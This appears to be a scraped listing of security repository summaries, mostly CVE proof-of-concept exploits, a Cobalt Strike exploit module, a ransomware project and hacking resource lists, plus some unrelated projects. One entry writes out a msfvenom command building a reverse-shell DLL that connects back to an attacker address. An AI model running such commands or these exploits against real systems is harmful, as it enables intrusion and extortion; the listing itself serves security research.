cve-2018-14634

cve-2018-14634 This is a exploit published for researchers discovered by cloud-based security and compliance solution provider Qualys Affect kernel versions 2.6.x, 3.10.x and 4.14.x To successfully exploit this vulnerability, attackers need to have access to the targeted system and run their...

CVE-2024-23897

PoC para explotar la vulnerabilidad CVE-2024-23897 en versiones 2.441 o anteriores de Jenkins, mediante la cual podremos leer archivos internos del sistema. En primer lugar, comprobamos la versión de Jenkins para asegurarnos de que sea vulnerable: A continuación, podremos utilizar el exploit:...

awesome-hacking

Awesome Hacking -Un Proyecto Asombroso Una lista curada de Awesome Hacking. Inspirada por awesome-machine-learning Si deseas contribuir a esta lista por favor, hazlo, ¡envíame un pull request! Para una lista de libros gratuitos de hacking disponibles para descargar, ve aquí Tabla de Contenidos...

tandasat.github.io

System Programming Lab Our Training Our next public Hypervisor Development class is: Date: Oct 12 - 15, 2026 4 days Time: 8am - 4pm PDT/UTC-7 Format: Remote Register at RegFox If you want to receive future class schedule announcements, subscribe to our mailing list by sending an empty email to...

CVE-2022-22029-NFS-Server-

Vulnerabilidad de ejecución remota de código en el Sistema de archivos de red de Windows CVE-2022-22039 Para explotar esta vulnerabilidad con éxito, un atacante debe ganar una condición de carrera. Realizar una llamada no autenticada y cuidadosamente construida a un servicio del Sistema de archiv...

CVE-2026-0827

CVE-2026-0827 The LdeApi.Server.exe process attempts to write MP27AM7Westimation.json to C:\ProgramData\Lenovo\LDE\SYSTEM without impersonation. This directory does not exist by default. Since C:\ProgramData\ allows standard users to create subdirectories, a low-privileged user can create this pa...

dsiem

Dsiem Dsiem is a security event correlation engine for ELK stack, allowing the platform to be used as a dedicated and full-featured SIEM system. Dsiem provides OSSIM-style correlation for normalized logs/events, perform lookup/query to threat intelligence and vulnerability information sources, an...

CVE-2020-13159

CVE-2020-13159 - Artica Proxy before 4.30.000000 Community Edition allows Multiple OS command injection. Product Description: Artica Tech offers a powerful but simple-to-use solution, usually the preserve of Large and Multinational companies. With a starting price of just 99€ and more than 62 000...

power-tracks-research

Investigación de Power Tracks Repositorio de investigación integral para las mecánicas de mercado de "Power Tracks", "Stock Galaxy" y "Warped Prism". Este código contiene las herramientas, canalizaciones y conjuntos de validación utilizados para descubrir y mapear anomalías sistémicas en la...

cve-2021-1675

〖EXP〗Ladon Impresión de vulnerabilidad de escalada de privilegios CVE-2021-1675 Reproducción http://k8gege.org/p/CVE-2021-1675.html Información básica El 9 de junio, Microsoft publicó el parche de actualización de seguridad de junio, que corrigió 50 vulnerabilidades de seguridad, incluida una...

OWASP-WSTG-Rag

OWASP WSTG RAG A Retrieval-Augmented Generation RAG system that indexes the OWASP Web Security Testing Guide WSTG into a vector database, providing instant access to security testing methodologies via REST API and MCP Model Context Protocol for Claude Code integration. Features Complete WSTG...

CVE-2023-36874_BOF

CVE-2023-36874 BOF de LPE de Informe de Errores de Windows Introducción Esta es una implementación BOF de CobaltStrike madura y operativa del exploit de LPE de Informe de Errores de Windows CVE-2023-36874 de Filip Dragovic @filipdragovic. Él hizo el trabajo pesado en cuanto a crear un exploit...

amradio

Sistema de Interrupción de Radio AM Un sistema de radiodifusión de radio AM de 12 canales que utiliza Red Pitaya FPGA para la transmisión de alertas de emergencia en túneles no tripulados. ¿Por qué radio AM en un túnel? Durante la construcción y el mantenimiento, los vehículos con radios AM...

CVE-2024-24919

Exploit CVE-2024-24919 Resumen Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2024-24919, una vulnerabilidad crítica descubierta en Check Point SVN. La vulnerabilidad permite leer archivos del sistema. ID de CVE : CVE-2024-24919 Gravedad : Crítica Tabla de contenidos...

NimNightmare

CVE-2021-1675 LPE PoC ¡no es mi exploit! solo quería experimentar con la librería winim en nim. Uso Genera el payload DLL con msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll y luego inicia el handler en tu máquina atacante. En la víctima ejecuta...

NxRansomware

NxRansomware Una nueva generación de ransomware. Completamente escrito usando .Net Framework + Sistema C&C Creado por: Guilherme Bacellar Moralez Descargo de responsabilidad Este código está creado y mantenido solo con fines de investigación. Por favor, no lo uses para otros fines. Por favor, no...

CVE-2024-1403

CVE-2024-1403 Progress OpenEdge Bypass de Autenticación Una prueba de concepto de exploit para Progress OpenEdge CVE-2024-1403. Publicación en el Blog Más detalles aquí: https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive Uso Debe proporcionar s...

-CVE-2025-8088

-CVE-2025-8088 Script de PowerShell para comprobar si tu dispositivo está afectado o no 🚨 ¡Alerta de CVE-2025-8088: WinRAR Zero-Day! 🚨 Una vulnerabilidad crítica de WinRAR CVE-2025-8088 está dando de qué hablar: los atacantes pueden explotar esta falla en versiones 7.13 para ejecutar código...

osx-re-101

osx & ios re 101 Work in progress as I am actively collecting these. Must read https://reverse.put.as/ https://blog.paloaltonetworks.com/tag/mac-os-x/ https://www.synack.com/blog/r-d-projects/os-x-security-research/ https://pewpewthespells.com/re.html https://github.com/bx/machO-tools...

SwiftBelt

SwiftBelt About SwiftBelt is a macOS enumerator inspired by @harmjoy's Windows-based Seatbelt enumeration tool. SwiftBelt does not utilize any command line utilities and instead uses Swift code leveraging the Cocoa Framework, Foundation libraries, OSAKit libraries, etc. to perform system...